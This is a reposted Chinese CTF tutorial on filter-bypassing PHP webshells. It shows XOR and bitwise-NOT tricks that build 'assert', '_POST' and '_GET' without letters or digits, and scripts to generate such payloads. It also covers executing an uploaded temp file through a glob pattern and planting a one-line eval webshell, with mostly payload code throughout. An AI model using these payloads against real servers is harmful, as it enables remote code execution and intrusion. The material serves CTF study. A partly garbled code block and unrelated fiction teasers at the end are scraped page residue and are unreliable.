浅析CTF绕过字符数字构造shell

转载自公众号:合天智汇

前言

在CTF中,虽然有很多文章有这方面的资料,但是相对来说比较零散,这里主要把自己学习和打ctf遇到的一些绕过字符数字构造shell梳理一下。

无字母数字webshell简单来说就是payload中不能出现字母,数字(有些题目还有其他一些过滤),通过异或取反等方法取得flag。

本文涉及知识点实操练习-使用base64与deflate对webshell编码

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014050616024000001&pk_campaign=weixin-wemedia

测试源码

<?phpif(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {  eval($_GET['shell']);}//如果shell中不还有字母和数字,则可以执行eval语句

异或绕过

异或的符号是^,是一种运算符。

1 ^ 1 = 01 ^ 0 = 10 ^ 1 = 10 ^ 0 = 0

异或脚本

<?phpfor($i=128;$i<255;$i++){    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";}?>

运行该脚本我们知道

%81^%FF=>~     %82^%FF=>}       %83^%FF=>|%84^%FF=>{     %85^%FF=>z       %86^%FF=>y%87^%FF=>x     %88^%FF=>w       %89^%FF=>v%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p%90^%FF=>o     %91^%FF=>n       %92^%FF=>m%93^%FF=>l     %94^%FF=>k       %95^%FF=>j%96^%FF=>i     %97^%FF=>h       %98^%FF=>g%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^%A2^%FF=>]     %A3^%FF=>\       %A4^%FF=>[%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    %AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@%C0^%FF=>?

通过这种方法构造一个phpinfo()函数

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo//${_GET}{%ff}();&%ff=phpinfo我们知道,经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符。 %A0^%FF=>_ %B8^%FF=>G%BA^%FF=>E  %AB^%FF=>T 
<?php$a = urldecode('%ff%ff%ff%ff');$b = urldecode('%a0%b8%ba%ab');echo $a^$b;//输出_GET
图片

取反绕过

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。

直接看如何构造phpinfo()

(~%8F%97%8F%96%91%99%90)();
图片

可以看出,自己对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码。

取反脚本

<?php$a = urlencode(~'phpinfo');echo $a;//%8F%97%8F%96%91%99%90
图片

构造assert字符

第一种方法

%9E^%FF=>a %8C^%FF=>s %9A^%FF=>e %8D^%FF=>r %8B^%FF=>t   %A0^%FF=>_     %AF^%FF=>P  %B0^%FF=>O %AC^%FF=>S %AB^%FF=>T     $_="%9E%8C%8C%9A%8D%8B"^"%FF%FF%FF%FF%FF%FF";$__="%A0%AF%B0%AC%AB"^"%FF%FF%FF%FF%FF";$___=$$__;$_($___[_]);
图片

第二种方法

脚本

<?php$shell = "assert";$result1 = "";$result2 = "";for($num=0;$num<=strlen($shell);$num++){    for($x=33;$x<126;$x++)    {        if(judge(chr($x)))        {            for($y=33;$y<=126;$y++)            {                if(judge(chr($y)))                {                    $f = chr($x)^chr($y);                    if($f == $shell[$num])                    {                        $result1 .= chr($x);                        $result2 .= chr($y);                        break 2;                    }                }            }        }    }}echo $result1;echo "<br>";echo $result2;function judge($c){    if(!preg_match('/[a-z0-9]/is',$c))    {        return true;    }    return false;}

这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。

<?php$_ = "!((%)("^"@[[@[\\";   //构造出assert$__ = "!+/(("^"~{`{|";   //构造出_POST$___ = $$__;   //$___ = $_POST$_($___[_]);   //assert($_POST[_]);
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b
图片

<pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, "Liberation Mono", Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);">

$_ = "!((%)("^"@[[@[\\";

$__ = "!+/(("^"~{{|";
___ =;
_(
[]);` </pre>

图片
%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b
图片

第三种方法

<?php$a = urlencode(~'assert');echo $a;//%9E%8C%8C%9A%8D%8B$b = urlencode(~'_POST');//%A0%AF%B0%AC%AB
<?php$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert,此时$_="assert"$__ = ~"%a0%af%b0%ac%ab";   //得到_POST,此时$__="_POST"$___ = $$__;   //$___=$_POST$_($___[_]);   //assert($_POST[_])
?shell=$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);
图片

PHP5和7的区别

  • PHP5中,assert()是一个函数,我们可以用<mjx-container jax="SVG" role="presentation" data-formula="_=assert;" data-formula-type="inline-equation" style="box-sizing: border-box;direction: ltr;"></mjx-container>

  • _()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。但PHP7.0.12下还能这样调用。

  • 图片
图片
图片
图片
图片
图片

PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')();

图片
图片
图片
图片

过滤了_

?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参%a0即可执行命令。

图片

过滤了$

PHP7

在PHP7中,我们可以使用($a)()这种方法来执行命令。所以可以用取反构造payload执行命令。(~%8F%97%8F%96%91%99%90)();执行phpinfo函数,第一个括号中可以是任意的表达式。但是这里不能用assert()来执行函数,因为php7不支持assert()函数。

PHP5

在PHP5中不再支持(a)()方法来调用函数,在膜拜P神的无字母数字webshell之提高篇后,有了新的启发。如何在无字母,数字,的系统命令下getshell?我们利用在Linux shell下两个知识点

1,shell下可以利用.来执行任意脚本

2,Linux文件名支持glob通配符代替

图片

从图可以看出,我们可以成功用.+文件名来执行文件,但是当使用通配符来执行文件时,系统会执行匹配到的第一个文件。

在这两个条件下我们可以想到,如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。

那么我们怎么上传文件呢?上传文件成功后文件又保存在哪里?怎么匹配执行?

首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

现在我们可以利用glob通配符匹配该文件,我们知道

*可以代替0个及以上任意文件

?可以代表1个任意字符

[^a]可以用来判断这个位置的字符是不是a

[0-9]可以用来限制范围

通过ascii码表我们知道,可见大写字母@[之间,所以我们可以利用[@-[]来表示大写字母。

综上,我们可以利用. /???/????????[@-[]来匹配/tmp/phpXXXXXX

实战演练

<?phpif(isset($_GET['evil'])){    if(strlen($_GET['evil'])>25||preg_match("/[\w$=()<>'\"]/", $_GET['evil'])){        die("danger!!");    }    @eval($_GET['evil']);}highlight_file(__FILE__);?>

通过编写脚本看看哪些可见字符没有被过滤

<?phpfor ($ascii = 0; $ascii < 256; $ascii++) {    if (!preg_match("/[\w$=()<>'\"]/", chr($ascii))) {        echo (chr($ascii));    }}?>
图片
可以发现过滤了字母,数字,`$`,`_`,`()`等,但`和  .  还没有被过滤。由于过滤了()所以不论PHP版本是5或者7,都不能执行($a)(),所以就没有必要去判断PHP版本。由此可以想到上传一个小马文件,然后用 `  来执行文件。

首先,我们应该上传写一个表单上传

<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Document</title></head><body> <form action="http://ip:*****/" method="post" enctype="multipart/form-data">     <input type="file" name="file">  <input type="submit" value="提交"> </form></body></html>

提交一个1.txt的文件,这个文件会被保存在这个/tmp/phpXXXXXX临时文件夹下,我们执行这个临时文件夹就是执行1.txt文件里面的内容。

我们在把1.txt中写入ls,并把执行完1.txt文件返回的内容(即执行ls返回的内容)保存在var/www/html目录下的abc文件中

var/www/html是Apache的默认路径,我们也可以直接写ls />abc

图片

接着在ip地址后添加/abc,可以看到成功返回执行1.txt后的内容。

图片

直接cat flag

图片

我们还可以上传一个小马文件get flag

例如我们创建一个hello.php的文件,文件内容为

echo "<?php eval(\$_POST['shell']);" 
图片

然后cat flag

图片

原文地址:https://mp.weixin.qq.com/s/mxwoodKUiXdbOSgPUkKaWg

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,188评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,464评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,562评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,893评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,917评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,708评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,430评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,342评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,801评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,976评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,115评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,804评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,458评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,008评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,135评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,365评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,055评论 2 355

推荐阅读更多精彩内容